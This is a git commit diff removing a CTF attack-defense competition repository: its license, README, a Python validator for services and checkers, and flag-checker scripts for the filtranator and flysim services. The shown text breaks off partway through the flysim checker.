adding validated services? patching forcad_local.py
This commit is contained in:
Submodule ctfcup24-school-ad deleted from 8b5a14a1a0
13
ctfcup24-school-ad/LICENSE.txt
Normal file
13
ctfcup24-school-ad/LICENSE.txt
Normal file
@@ -0,0 +1,13 @@
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
Version 2, December 2004
|
||||
|
||||
Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
|
||||
|
||||
Everyone is permitted to copy and distribute verbatim or modified
|
||||
copies of this license document, and changing it is allowed as long
|
||||
as the name is changed.
|
||||
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. You just DO WHAT THE FUCK YOU WANT TO.
|
||||
12
ctfcup24-school-ad/README.md
Normal file
12
ctfcup24-school-ad/README.md
Normal file
@@ -0,0 +1,12 @@
|
||||
# Финальный тур школьного этапа VIII Кубка CTF России
|
||||
|
||||
Исходные коды, разборы, эксплоиты и файлы для деплоя заданий с отборочного тура VIII Кубка CTF России, который проходил 20 декабря 2024 года в онлайн-формате.
|
||||
|
||||
[Сайт соревнований](https://ctfcup.ru/)
|
||||
|
||||
## Сервисы
|
||||
|
||||
| Таск | Автор |
|
||||
|-------------------------------------|---------------|
|
||||
| [filtranator](services/filtranator) | @phoen1xxx |
|
||||
| [flysim](services/flysim) | @user_9_9_9_9 |
|
||||
648
ctfcup24-school-ad/check.py
Executable file
648
ctfcup24-school-ad/check.py
Executable file
@@ -0,0 +1,648 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import secrets
|
||||
import string
|
||||
import subprocess
|
||||
import time
|
||||
import traceback
|
||||
from collections import defaultdict
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from datetime import datetime
|
||||
from enum import Enum
|
||||
from pathlib import Path
|
||||
from threading import Lock, current_thread
|
||||
from typing import List, Tuple
|
||||
|
||||
import yaml
|
||||
from dockerfile_parse import DockerfileParser
|
||||
|
||||
BASE_DIR = Path(__file__).resolve().absolute().parent
|
||||
SERVICES_PATH = BASE_DIR / "services"
|
||||
CHECKERS_PATH = BASE_DIR / "checkers"
|
||||
MAX_THREADS = int(os.getenv("MAX_THREADS", default=2 * os.cpu_count()))
|
||||
RUNS = int(os.getenv("RUNS", default=10))
|
||||
HOST = os.getenv("HOST", default="127.0.0.1")
|
||||
OUT_LOCK = Lock()
|
||||
DISABLE_LOG = False
|
||||
|
||||
DC_REQUIRED_OPTIONS = ["services"]
|
||||
DC_ALLOWED_OPTIONS = DC_REQUIRED_OPTIONS + ["volumes", "version"]
|
||||
|
||||
CONTAINER_REQUIRED_OPTIONS = ["restart"]
|
||||
CONTAINER_ALLOWED_OPTIONS = CONTAINER_REQUIRED_OPTIONS + [
|
||||
"pids_limit",
|
||||
"mem_limit",
|
||||
"cpus",
|
||||
"build",
|
||||
"image",
|
||||
"ports",
|
||||
"volumes",
|
||||
"environment",
|
||||
"env_file",
|
||||
"healthcheck",
|
||||
"depends_on",
|
||||
"sysctls",
|
||||
"privileged",
|
||||
"security_opt",
|
||||
]
|
||||
SERVICE_REQUIRED_OPTIONS = ["pids_limit", "mem_limit", "cpus"]
|
||||
SERVICE_ALLOWED_OPTIONS = CONTAINER_ALLOWED_OPTIONS
|
||||
DATABASES = [
|
||||
"redis",
|
||||
"postgres",
|
||||
"mysql",
|
||||
"mariadb",
|
||||
"mongo",
|
||||
"mssql",
|
||||
"clickhouse",
|
||||
"tarantool",
|
||||
]
|
||||
PROXIES = ["nginx", "envoy"]
|
||||
CLEANERS = ["dedcleaner"]
|
||||
|
||||
VALIDATE_DIRS = ["checkers", "services", "internal", "sploits"]
|
||||
|
||||
ALLOWED_CHECKER_PATTERNS = [
|
||||
"import requests",
|
||||
"requests.exceptions",
|
||||
"s: requests.Session",
|
||||
"sess: requests.Session",
|
||||
"session: requests.Session",
|
||||
"r: requests.Response",
|
||||
"resp: requests.Response",
|
||||
"Got requests connection error",
|
||||
]
|
||||
FORBIDDEN_CHECKER_PATTERNS = ["requests"]
|
||||
|
||||
ALLOWED_YAML_FILES = [
|
||||
"buf.yaml",
|
||||
"buf.gen.yaml",
|
||||
"application.yaml",
|
||||
]
|
||||
|
||||
|
||||
class ColorType(Enum):
|
||||
INFO = "\033[92m"
|
||||
WARNING = "\033[93m"
|
||||
FAIL = "\033[91m"
|
||||
BOLD = "\033[1m"
|
||||
ENDC = "\033[0m"
|
||||
|
||||
def __str__(self):
|
||||
return self.value
|
||||
|
||||
|
||||
def generate_flag(name):
|
||||
alph = string.ascii_uppercase + string.digits
|
||||
return name[0].upper() + "".join(random.choices(alph, k=30)) + "="
|
||||
|
||||
|
||||
def colored_log(*messages, color: ColorType = ColorType.INFO):
|
||||
ts = datetime.utcnow().isoformat(sep=" ", timespec="milliseconds")
|
||||
print(
|
||||
f"{color}{color.name} [{current_thread().name} {ts}]{ColorType.ENDC}", *messages
|
||||
)
|
||||
|
||||
|
||||
class BaseValidator:
|
||||
def _log(self, message: str):
|
||||
with OUT_LOCK:
|
||||
if not DISABLE_LOG:
|
||||
colored_log(f"{self}: {message}")
|
||||
|
||||
def _fatal(self, cond, message):
|
||||
global DISABLE_LOG
|
||||
|
||||
with OUT_LOCK:
|
||||
if not cond:
|
||||
if not DISABLE_LOG:
|
||||
colored_log(f"{self}: {message}", color=ColorType.FAIL)
|
||||
DISABLE_LOG = True
|
||||
raise AssertionError
|
||||
|
||||
def _warning(self, cond: bool, message: str) -> bool:
|
||||
with OUT_LOCK:
|
||||
if not cond and not DISABLE_LOG:
|
||||
colored_log(f"{self}: {message}", color=ColorType.WARNING)
|
||||
return not cond
|
||||
|
||||
def _error(self, cond, message) -> bool:
|
||||
with OUT_LOCK:
|
||||
if not cond and not DISABLE_LOG:
|
||||
colored_log(f"{self}: {message}", color=ColorType.FAIL)
|
||||
return not cond
|
||||
|
||||
|
||||
class Checker(BaseValidator):
|
||||
def __init__(self, name: str):
|
||||
self._name = name
|
||||
self._exe_path = CHECKERS_PATH / self._name / "checker.py"
|
||||
self._fatal(
|
||||
os.access(self._exe_path, os.X_OK),
|
||||
f"{self._exe_path.relative_to(BASE_DIR)} must be executable",
|
||||
)
|
||||
self._timeout = 3
|
||||
self._get_info()
|
||||
|
||||
def _get_info(self):
|
||||
self._log("running info action")
|
||||
cmd = [str(self._exe_path), "info", HOST]
|
||||
out, _ = self._run_command(cmd)
|
||||
info = json.loads(out)
|
||||
self._log(f"got info: {info}")
|
||||
|
||||
self._vulns = int(info["vulns"])
|
||||
self._timeout = int(info["timeout"])
|
||||
self._attack_data = bool(info["attack_data"])
|
||||
|
||||
self._fatal(
|
||||
60 > self._timeout > 0,
|
||||
f"invalid timeout: {self._timeout}",
|
||||
)
|
||||
|
||||
@property
|
||||
def info(self):
|
||||
return {
|
||||
"vulns": self._vulns,
|
||||
"timeout": self._timeout,
|
||||
"attack_data": self._attack_data,
|
||||
}
|
||||
|
||||
def _run_command(self, command: List[str], env=None) -> Tuple[str, str]:
|
||||
action = command[1].upper()
|
||||
cmd = ["timeout", str(self._timeout)] + command
|
||||
|
||||
if env is None:
|
||||
env = os.environ
|
||||
env["PYTHONUNBUFFERED"] = "1"
|
||||
env["PWNLIB_NOTERM"] = "1"
|
||||
|
||||
start = time.monotonic()
|
||||
p = subprocess.run(cmd, capture_output=True, check=False, env=env)
|
||||
elapsed = time.monotonic() - start
|
||||
|
||||
out = p.stdout.decode()
|
||||
err = p.stderr.decode()
|
||||
|
||||
out_s = out.rstrip("\n")
|
||||
err_s = err.rstrip("\n")
|
||||
|
||||
self._log(
|
||||
f"action: {action}\ntime: {elapsed:.2f}s\nstdout:\n{out_s}\nstderr:\n{err_s}"
|
||||
)
|
||||
self._fatal(
|
||||
p.returncode != 124,
|
||||
f"action {action}: bad return code: 124, probably {ColorType.BOLD}timeout{ColorType.ENDC}",
|
||||
)
|
||||
self._fatal(
|
||||
p.returncode == 101, f"action {action}: bad return code: {p.returncode}"
|
||||
)
|
||||
return out, err
|
||||
|
||||
def check(self):
|
||||
self._log("running CHECK")
|
||||
cmd = [str(self._exe_path), "check", HOST]
|
||||
self._run_command(cmd)
|
||||
|
||||
def put(self, flag: str, flag_id: str, vuln: int):
|
||||
self._log(f"running PUT, flag={flag} flag_id={flag_id} vuln={vuln}")
|
||||
cmd = [str(self._exe_path), "put", HOST, flag_id, flag, str(vuln)]
|
||||
out, err = self._run_command(cmd)
|
||||
|
||||
self._fatal(len(out) <= 1024, "returned stdout is longer than 1024 characters")
|
||||
self._fatal(len(err) <= 1024, "returned stderr is longer than 1024 characters")
|
||||
|
||||
if self._attack_data:
|
||||
self._fatal(out, "stdout is empty")
|
||||
self._fatal(err, "stderr is empty")
|
||||
|
||||
self._fatal(flag not in out, "flag is leaked in public data")
|
||||
|
||||
# new flag ID is in stderr for attack_data checkers
|
||||
return err
|
||||
|
||||
self._fatal(out, "stdout is empty")
|
||||
|
||||
# new flag ID is in stdout for checkers without attack_data
|
||||
return out
|
||||
|
||||
def get(self, flag: str, flag_id: str, vuln: int):
|
||||
self._log(f"running GET, flag={flag} flag_id={flag_id} vuln={vuln}")
|
||||
cmd = [str(self._exe_path), "get", HOST, flag_id, flag, str(vuln)]
|
||||
self._run_command(cmd)
|
||||
|
||||
def run_all(self, step: int):
|
||||
self._log(f"running all actions (run {step} of {RUNS})")
|
||||
self.check()
|
||||
|
||||
for vuln in range(1, self._vulns + 1):
|
||||
flag = generate_flag(self._name)
|
||||
flag_id = self.put(flag=flag, flag_id=secrets.token_hex(16), vuln=vuln)
|
||||
flag_id = flag_id.strip()
|
||||
self.get(flag, flag_id, vuln)
|
||||
|
||||
def __str__(self):
|
||||
return f"checker {self._name}"
|
||||
|
||||
|
||||
class Service(BaseValidator):
|
||||
def __init__(self, name: str):
|
||||
self._name = name
|
||||
self._path = SERVICES_PATH / self._name
|
||||
self._dc_path = self._path / "docker-compose.yml"
|
||||
self._fatal(
|
||||
self._dc_path.exists(),
|
||||
f"{self._dc_path.relative_to(BASE_DIR)} missing",
|
||||
)
|
||||
|
||||
self._checker = Checker(self._name)
|
||||
|
||||
@property
|
||||
def name(self):
|
||||
return self._name
|
||||
|
||||
@property
|
||||
def checker_info(self):
|
||||
return self._checker.info
|
||||
|
||||
def _run_dc(self, *args):
|
||||
cmd = ["docker", "compose", "-f", str(self._dc_path)] + list(args)
|
||||
subprocess.run(cmd, check=True)
|
||||
|
||||
def up(self):
|
||||
self._log("starting")
|
||||
self._run_dc("up", "--build", "-d")
|
||||
|
||||
def logs(self):
|
||||
self._log("printing logs")
|
||||
self._run_dc("logs", "--tail", "2000")
|
||||
|
||||
def down(self):
|
||||
self._log("stopping")
|
||||
self._run_dc("down", "-v")
|
||||
|
||||
def validate_checker(self):
|
||||
self._log("validating checker")
|
||||
|
||||
cnt_threads = max(1, min(MAX_THREADS, RUNS // 10))
|
||||
self._log(f"starting {cnt_threads} checker threads")
|
||||
with ThreadPoolExecutor(
|
||||
max_workers=cnt_threads,
|
||||
thread_name_prefix="Executor",
|
||||
) as executor:
|
||||
for _ in executor.map(self._checker.run_all, range(1, RUNS + 1)):
|
||||
pass
|
||||
|
||||
def __str__(self):
|
||||
return f"service {self._name}"
|
||||
|
||||
|
||||
class StructureValidator(BaseValidator):
|
||||
def __init__(self, d: Path, service: Service):
|
||||
self._dir = d
|
||||
self._was_error = False
|
||||
self._service = service
|
||||
|
||||
def _error(self, cond, message):
|
||||
err = super()._error(cond, message)
|
||||
self._was_error |= err
|
||||
return err
|
||||
|
||||
def validate(self):
|
||||
for d in VALIDATE_DIRS:
|
||||
self.validate_dir(self._dir / d / self._service.name)
|
||||
return not self._was_error
|
||||
|
||||
def validate_dir(self, d: Path):
|
||||
if not d.exists():
|
||||
return
|
||||
for f in d.iterdir():
|
||||
if f.is_file():
|
||||
self.validate_file(f)
|
||||
elif f.name[0] != ".":
|
||||
self.validate_dir(f)
|
||||
|
||||
def validate_file(self, f: Path):
|
||||
path = f.relative_to(BASE_DIR)
|
||||
|
||||
if f.name not in ALLOWED_YAML_FILES:
|
||||
self._error(f.suffix != ".yaml", f"file {path} has .yaml extension")
|
||||
|
||||
self._error(f.name != ".gitkeep", f"{path} found, should be named .keep")
|
||||
|
||||
if f.name == "docker-compose.yml":
|
||||
with f.open() as file:
|
||||
dc = yaml.safe_load(file)
|
||||
|
||||
if self._error(isinstance(dc, dict), f"{path} is not dict"):
|
||||
return
|
||||
|
||||
for opt in DC_REQUIRED_OPTIONS:
|
||||
if self._error(opt in dc, f"required option {opt} not in {path}"):
|
||||
return
|
||||
|
||||
if "version" in dc:
|
||||
if self._error(
|
||||
isinstance(dc["version"], str),
|
||||
f"version option in {path} is not string",
|
||||
):
|
||||
return
|
||||
|
||||
try:
|
||||
dc_version = float(dc["version"])
|
||||
except ValueError:
|
||||
self._error(False, f"version option in {path} is not float")
|
||||
return
|
||||
|
||||
self._error(
|
||||
2.4 <= dc_version < 3,
|
||||
f"invalid version in {path}, need >=2.4 and <3 (or no version at all), got {dc_version}",
|
||||
)
|
||||
|
||||
for opt in dc:
|
||||
self._error(
|
||||
opt in DC_ALLOWED_OPTIONS,
|
||||
f"option {opt} in {path} is not allowed",
|
||||
)
|
||||
|
||||
services = []
|
||||
databases = []
|
||||
proxies = []
|
||||
dependencies = defaultdict(list)
|
||||
|
||||
if self._error(
|
||||
isinstance(dc["services"], dict),
|
||||
f"services option in {path} is not dict",
|
||||
):
|
||||
return
|
||||
|
||||
for container, container_conf in dc["services"].items():
|
||||
if self._error(
|
||||
isinstance(container_conf, dict),
|
||||
f"config in {path} for container {container} is not dict",
|
||||
):
|
||||
continue
|
||||
|
||||
for opt in CONTAINER_REQUIRED_OPTIONS:
|
||||
self._error(
|
||||
opt in container_conf,
|
||||
f"required option {opt} not in {path} for container {container}",
|
||||
)
|
||||
|
||||
self._error(
|
||||
"restart" in container_conf
|
||||
and container_conf["restart"] == "unless-stopped",
|
||||
f'restart option in {path} for container {container} must be equal to "unless-stopped"',
|
||||
)
|
||||
|
||||
for opt in container_conf:
|
||||
self._error(
|
||||
opt in CONTAINER_ALLOWED_OPTIONS,
|
||||
f"option {opt} in {path} is not allowed for container {container}",
|
||||
)
|
||||
|
||||
if self._error(
|
||||
"image" not in container_conf or "build" not in container_conf,
|
||||
f"both image and build options in {path} for container {container}",
|
||||
):
|
||||
continue
|
||||
|
||||
if self._error(
|
||||
"image" in container_conf or "build" in container_conf,
|
||||
f"both image and build options not in {path} for container {container}",
|
||||
):
|
||||
continue
|
||||
|
||||
if "image" in container_conf:
|
||||
image = container_conf["image"]
|
||||
else:
|
||||
build = container_conf["build"]
|
||||
if isinstance(build, str):
|
||||
dockerfile = f.parent / build / "Dockerfile"
|
||||
else:
|
||||
context = build["context"]
|
||||
if "dockerfile" in build:
|
||||
dockerfile = f.parent / context / build["dockerfile"]
|
||||
else:
|
||||
dockerfile = f.parent / context / "Dockerfile"
|
||||
|
||||
if self._error(
|
||||
dockerfile.exists(), f"no dockerfile found in {dockerfile}"
|
||||
):
|
||||
continue
|
||||
|
||||
with dockerfile.open() as file:
|
||||
dfp = DockerfileParser(fileobj=file)
|
||||
image = dfp.baseimage
|
||||
|
||||
if self._error(
|
||||
image is not None, f"no image option in {dockerfile}"
|
||||
):
|
||||
continue
|
||||
|
||||
if "depends_on" in container_conf:
|
||||
for dependency in container_conf["depends_on"]:
|
||||
dependencies[container].append(dependency)
|
||||
|
||||
is_service = True
|
||||
for database in DATABASES:
|
||||
if database in image:
|
||||
databases.append(container)
|
||||
is_service = False
|
||||
|
||||
for proxy in PROXIES:
|
||||
if proxy in image:
|
||||
proxies.append(container)
|
||||
is_service = False
|
||||
|
||||
for cleaner in CLEANERS:
|
||||
if cleaner in image:
|
||||
is_service = False
|
||||
|
||||
if is_service:
|
||||
services.append(container)
|
||||
for opt in SERVICE_REQUIRED_OPTIONS:
|
||||
self._error(
|
||||
opt in container_conf,
|
||||
f"required option {opt} not in {path} for service {container}",
|
||||
)
|
||||
|
||||
for opt in container_conf:
|
||||
self._error(
|
||||
opt in SERVICE_ALLOWED_OPTIONS,
|
||||
f"option {opt} in {path} is not allowed for service {container}",
|
||||
)
|
||||
|
||||
for service in services:
|
||||
for database in databases:
|
||||
self._warning(
|
||||
service in dependencies and database in dependencies[service],
|
||||
f"service {service} may need to depends_on database {database}",
|
||||
)
|
||||
|
||||
for proxy in proxies:
|
||||
for service in services:
|
||||
self._warning(
|
||||
proxy in dependencies and service in dependencies[proxy],
|
||||
f"proxy {proxy} may need to depends_on service {service}",
|
||||
)
|
||||
|
||||
elif BASE_DIR / "checkers" in f.parents and f.suffix == ".py":
|
||||
checker_code = f.read_text()
|
||||
for p in ALLOWED_CHECKER_PATTERNS:
|
||||
checker_code = checker_code.replace(p, "")
|
||||
for p in FORBIDDEN_CHECKER_PATTERNS:
|
||||
self._error(p not in checker_code, f'forbidden pattern "{p}" in {path}')
|
||||
|
||||
def __str__(self):
|
||||
return f"Structure validator for {self._service.name}"
|
||||
|
||||
|
||||
def get_services() -> List[Service]:
|
||||
if os.getenv("SERVICE") in ["all", None]:
|
||||
result = list(
|
||||
Service(service_path.name)
|
||||
for service_path in SERVICES_PATH.iterdir()
|
||||
if service_path.name[0] != "." and service_path.is_dir()
|
||||
)
|
||||
else:
|
||||
result = [Service(os.environ["SERVICE"])]
|
||||
|
||||
with OUT_LOCK:
|
||||
colored_log("Got services:", ", ".join(map(str, result)))
|
||||
return result
|
||||
|
||||
|
||||
def list_services(_args):
|
||||
services = get_services()
|
||||
if outfile := os.getenv("GITHUB_OUTPUT"):
|
||||
data = {
|
||||
"include": [{"service": service.name} for service in services],
|
||||
}
|
||||
with open(outfile, "a") as f:
|
||||
f.write(f"matrix={json.dumps(data)}")
|
||||
|
||||
|
||||
def start_services(_args):
|
||||
for service in get_services():
|
||||
service.up()
|
||||
|
||||
|
||||
def stop_services(_args):
|
||||
for service in get_services():
|
||||
service.down()
|
||||
|
||||
|
||||
def logs_services(_args):
|
||||
for service in get_services():
|
||||
service.logs()
|
||||
|
||||
|
||||
def validate_checkers(_args):
|
||||
for service in get_services():
|
||||
service.validate_checker()
|
||||
|
||||
|
||||
def validate_structure(_args):
|
||||
was_error = False
|
||||
for service in get_services():
|
||||
validator = StructureValidator(BASE_DIR, service)
|
||||
if not validator.validate():
|
||||
was_error = True
|
||||
|
||||
if was_error:
|
||||
with OUT_LOCK:
|
||||
colored_log("Structure validator: failed", color=ColorType.FAIL)
|
||||
raise AssertionError
|
||||
|
||||
|
||||
def dump_tasks(_args):
|
||||
result = {"tasks": []}
|
||||
for service in get_services():
|
||||
info = service.checker_info
|
||||
checker_type = "gevent"
|
||||
if info["attack_data"]:
|
||||
checker_type += "_pfr"
|
||||
|
||||
result["tasks"].append(
|
||||
{
|
||||
"name": service.name,
|
||||
"checker": f"{service.name}/checker.py",
|
||||
"checker_timeout": info["timeout"],
|
||||
"checker_type": checker_type,
|
||||
"places": info["vulns"],
|
||||
"puts": 1,
|
||||
"gets": 1,
|
||||
}
|
||||
)
|
||||
|
||||
colored_log("\n" + yaml.safe_dump(result))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Validate checkers for A&D. "
|
||||
"Host & number of runs are passed with HOST and RUNS env vars"
|
||||
)
|
||||
subparsers = parser.add_subparsers()
|
||||
|
||||
list_parser = subparsers.add_parser(
|
||||
"list",
|
||||
help="List services to test",
|
||||
)
|
||||
list_parser.set_defaults(func=list_services)
|
||||
|
||||
up_parser = subparsers.add_parser(
|
||||
"up",
|
||||
help="Start services",
|
||||
)
|
||||
up_parser.set_defaults(func=start_services)
|
||||
|
||||
down_parser = subparsers.add_parser(
|
||||
"down",
|
||||
help="Stop services",
|
||||
)
|
||||
down_parser.set_defaults(func=stop_services)
|
||||
|
||||
logs_parser = subparsers.add_parser(
|
||||
"logs",
|
||||
help="Print logs for services",
|
||||
)
|
||||
logs_parser.set_defaults(func=logs_services)
|
||||
|
||||
check_parser = subparsers.add_parser(
|
||||
"check",
|
||||
help="Run checkers validation",
|
||||
)
|
||||
check_parser.set_defaults(func=validate_checkers)
|
||||
|
||||
validate_parser = subparsers.add_parser(
|
||||
"validate",
|
||||
help="Run structure validation",
|
||||
)
|
||||
validate_parser.set_defaults(func=validate_structure)
|
||||
|
||||
dump_parser = subparsers.add_parser(
|
||||
"dump_tasks",
|
||||
help="Dump tasks in YAML for ForcAD",
|
||||
)
|
||||
dump_parser.set_defaults(func=dump_tasks)
|
||||
|
||||
parsed = parser.parse_args()
|
||||
|
||||
if "func" not in parsed:
|
||||
print("Type -h")
|
||||
exit(1)
|
||||
|
||||
try:
|
||||
parsed.func(parsed)
|
||||
except AssertionError:
|
||||
exit(1)
|
||||
except Exception as e:
|
||||
tb = traceback.format_exc()
|
||||
print("Got exception, report it:", e, tb)
|
||||
exit(1)
|
||||
77
ctfcup24-school-ad/checkers/filtranator/checker.py
Executable file
77
ctfcup24-school-ad/checkers/filtranator/checker.py
Executable file
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import sys
|
||||
import requests
|
||||
import json
|
||||
from checklib import *
|
||||
from filtranator import *
|
||||
|
||||
|
||||
def strcmp(str1,str2):
|
||||
if (len(str1) != len(str2)):
|
||||
return False
|
||||
for i in range(len(str1)):
|
||||
if(str1[i] != str2[i]):
|
||||
if((str1[i] in os and str2[i] in os) or (str1[i] in ixs and str2[i] in ixs) or (str1[i] in qs and str2[i] in qs)):
|
||||
continue
|
||||
else:
|
||||
return False
|
||||
return True
|
||||
|
||||
class Checker(BaseChecker):
|
||||
vulns: int = 1
|
||||
timeout: int = 10
|
||||
uses_attack_data: bool = True
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
super(Checker, self).__init__(*args, **kwargs)
|
||||
self.mch = CheckMachine(self)
|
||||
|
||||
def action(self, action, *args, **kwargs):
|
||||
try:
|
||||
super(Checker, self).action(action, *args, **kwargs)
|
||||
except requests.exceptions.ConnectionError:
|
||||
self.cquit(Status.DOWN, "Connection error", "Got requests connection error")
|
||||
|
||||
def check(self):
|
||||
session = get_initialized_session()
|
||||
username, password = rnd_username(), rnd_password()
|
||||
|
||||
self.mch.register(session, username, password, Status.MUMBLE)
|
||||
self.mch.login(session, username, password, Status.MUMBLE)
|
||||
img_value = rnd_string(20).upper()
|
||||
self.mch.put_image(session,img_value,Status.MUMBLE)
|
||||
value = self.mch.get_image(session)
|
||||
self.assert_(img_value.replace('0','O').replace('1','I').replace('l','I'), value.replace('0','O').replace('1','I').replace('l','I'), Status.MUMBLE)
|
||||
self.mch.logout(session,Status.MUMBLE)
|
||||
self.cquit(Status.OK)
|
||||
|
||||
def put(self, flag_id: str, flag: str, vuln: str):
|
||||
session = get_initialized_session()
|
||||
username, password = rnd_username(), rnd_password()
|
||||
|
||||
self.mch.register(session, username, password, Status.MUMBLE)
|
||||
self.mch.login(session, username, password, Status.MUMBLE)
|
||||
self.mch.put_image(session, flag, Status.MUMBLE)
|
||||
self.mch.logout(session, Status.MUMBLE)
|
||||
self.cquit( Status.OK,public=json.dumps({"username":username}),
|
||||
private=f"{username}:{password}",
|
||||
)
|
||||
|
||||
def get(self, flag_id: str, flag: str, vuln: str):
|
||||
s = get_initialized_session()
|
||||
username, password = flag_id.split(":")
|
||||
self.mch.login(s, username, password, Status.CORRUPT)
|
||||
value = self.mch.get_image(s)
|
||||
self.mch.logout(s, Status.CORRUPT)
|
||||
self.assert_(value.upper().replace('0','O').replace('1','I').replace('l','I'), flag.upper().replace('0','O').replace('1','I').replace('l','I'), Status.CORRUPT)
|
||||
self.cquit(Status.OK)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
c = Checker(sys.argv[2])
|
||||
|
||||
try:
|
||||
c.action(sys.argv[1], *sys.argv[3:])
|
||||
except c.get_check_finished_exception():
|
||||
cquit(Status(c.status), c.public, c.private)
|
||||
91
ctfcup24-school-ad/checkers/filtranator/filtranator.py
Normal file
91
ctfcup24-school-ad/checkers/filtranator/filtranator.py
Normal file
@@ -0,0 +1,91 @@
|
||||
import requests
|
||||
import pytesseract
|
||||
import io
|
||||
import sys
|
||||
from PIL import Image, ImageFont, ImageDraw, ImageColor
|
||||
from checklib import *
|
||||
from PIL.PngImagePlugin import PngInfo
|
||||
|
||||
PORT = 6969
|
||||
|
||||
|
||||
def text_to_image(
|
||||
text: str,
|
||||
font_filepath: str,
|
||||
font_size: int,
|
||||
color: (int, int, int), # color is in RGB
|
||||
font_align="center",
|
||||
):
|
||||
#font = ImageFont.load_default(18)
|
||||
font = ImageFont.load_default(18)
|
||||
#box = font.getsize_multiline(text)
|
||||
img = Image.new("RGBA", (400,400),color='black')
|
||||
draw = ImageDraw.Draw(img)
|
||||
draw_point = (0, 0)
|
||||
draw.multiline_text(draw_point, text, font=font, fill=color, align=font_align)
|
||||
return img
|
||||
|
||||
|
||||
class CheckMachine:
|
||||
@property
|
||||
def url(self):
|
||||
return f"http://{self.c.host}:{self.port}"
|
||||
|
||||
def __init__(self, checker: BaseChecker):
|
||||
self.c = checker
|
||||
self.port = PORT
|
||||
|
||||
def register(self, session: requests.Session, username: str, password: str,status: Status.MUMBLE):
|
||||
url = f"{self.url}/register"
|
||||
resp = session.post(url, data={"username": username, "password": password})
|
||||
self.c.assert_(resp.text, "<p1>Sucessfully registered</p1>")
|
||||
resp = session.post(
|
||||
url, data={"username": username, "password": password}
|
||||
)
|
||||
self.c.assert_(resp.text, "<p1>User alredy exist</p1>",status)
|
||||
|
||||
def logout(self, session: requests.Session,status: Status.MUMBLE):
|
||||
url = f"{self.url}/logout"
|
||||
resp = session.get(url)
|
||||
self.c.assert_(resp.text,'<p1>Sucessfully logout</p1>',status)
|
||||
|
||||
def login(
|
||||
self, session: requests.Session, username: str, password: str, status: Status
|
||||
):
|
||||
url = f"{self.url}/login"
|
||||
resp = session.post(url, data={"username": username, "password": password})
|
||||
self.c.assert_(resp.text, "<p1>Sucessfully logged in</p1>",status)
|
||||
resp = session.post(url, data={"username": username, "password": password})
|
||||
self.c.assert_(resp.text, "<p1>Already logged in</p1>",status)
|
||||
|
||||
def put_image(self, session: requests.Session, text: str,status: Status.MUMBLE):
|
||||
url = f"{self.url}/apply_filter"
|
||||
kek = text_to_image(
|
||||
text,
|
||||
"./MonaSansCondensed-Black.otf",
|
||||
40,
|
||||
(120, 120, 120),
|
||||
)
|
||||
metadata = PngInfo()
|
||||
metadata.add_text("flag", text)
|
||||
bytex = io.BytesIO()
|
||||
kek.save(bytex,format='PNG',pnginfo = metadata)
|
||||
imgkek = bytex.getvalue()
|
||||
files = {"image": ("img", imgkek, "multipart/form-data", {"Expires": "0"})}
|
||||
resp = session.post(
|
||||
url,
|
||||
data={"filter": "none", "filename": "flag"},
|
||||
files=files,
|
||||
)
|
||||
self.c.assert_(resp.text, "<p1>Image saved</p1>",status)
|
||||
|
||||
def get_image(self, session: requests.Session) -> str:
|
||||
url = f"{self.url}/images"
|
||||
resp = session.get(url)
|
||||
img_bytes = io.BytesIO(resp.content)
|
||||
if img_bytes.getbuffer().nbytes == 0:
|
||||
return ''
|
||||
img = Image.open(img_bytes)
|
||||
print(img.text.keys(),file=sys.stderr)
|
||||
text = img.text['flag']#pytesseract.image_to_string(img)
|
||||
return text
|
||||
166
ctfcup24-school-ad/checkers/flysim/checker.py
Executable file
166
ctfcup24-school-ad/checkers/flysim/checker.py
Executable file
@@ -0,0 +1,166 @@
|
||||
#!/usr/bin/env python3
|
||||
import socket
|
||||
import sys
|
||||
import random
|
||||
import string
|
||||
import requests
|
||||
import time
|
||||
import json
|
||||
|
||||
import drone_client
|
||||
import random_flight_plan
|
||||
from checklib import *
|
||||
|
||||
|
||||
def print(*args, **kwargs):
|
||||
pass # disable print
|
||||
|
||||
|
||||
def generate_random_datastring(length):
|
||||
characters = string.ascii_letters + string.digits
|
||||
random_string = "".join(random.choice(characters) for _ in range(length))
|
||||
|
||||
return random_string
|
||||
|
||||
|
||||
def percent_50():
|
||||
return random.randint(1, 2) == 1
|
||||
|
||||
|
||||
class Checker(BaseChecker):
|
||||
vulns: int = 1
|
||||
timeout: int = 20
|
||||
uses_attack_data: bool = True
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
super(Checker, self).__init__(*args, **kwargs)
|
||||
|
||||
def action(self, action, *args, **kwargs):
|
||||
try:
|
||||
super(Checker, self).action(action, *args, **kwargs)
|
||||
except requests.exceptions.ConnectionError:
|
||||
self.cquit(
|
||||
Status.DOWN,
|
||||
"Connection error",
|
||||
"Got requests.exceptions.ConnectionError",
|
||||
)
|
||||
|
||||
def check(self):
|
||||
client = drone_client.DroneClient(ip=self.host)
|
||||
label = generate_random_datastring(random.randint(10, 30))
|
||||
client.create_drone(
|
||||
label=label, secret_data=generate_random_datastring(random.randint(10, 30))
|
||||
)
|
||||
time.sleep(1)
|
||||
|
||||
client.connect_to_drone()
|
||||
vel = [random.randint(-3, 3), random.randint(-3, 3)]
|
||||
pos = [random.randint(-20, 20), random.randint(-20, 20)]
|
||||
client.update_velocity(vel)
|
||||
vel_msg = client.wait_for_vel_msg(timeout=30)
|
||||
self.assert_eq(
|
||||
vel, vel_msg["new_velocity"], "Incorrect velocity handling", Status.CORRUPT
|
||||
)
|
||||
|
||||
client.update_position(pos)
|
||||
pos_msg = client.wait_for_pos_msg(timeout=30)
|
||||
self.assert_eq(
|
||||
pos, pos_msg["new_position"], "Incorrect position handling", Status.CORRUPT
|
||||
)
|
||||
|
||||
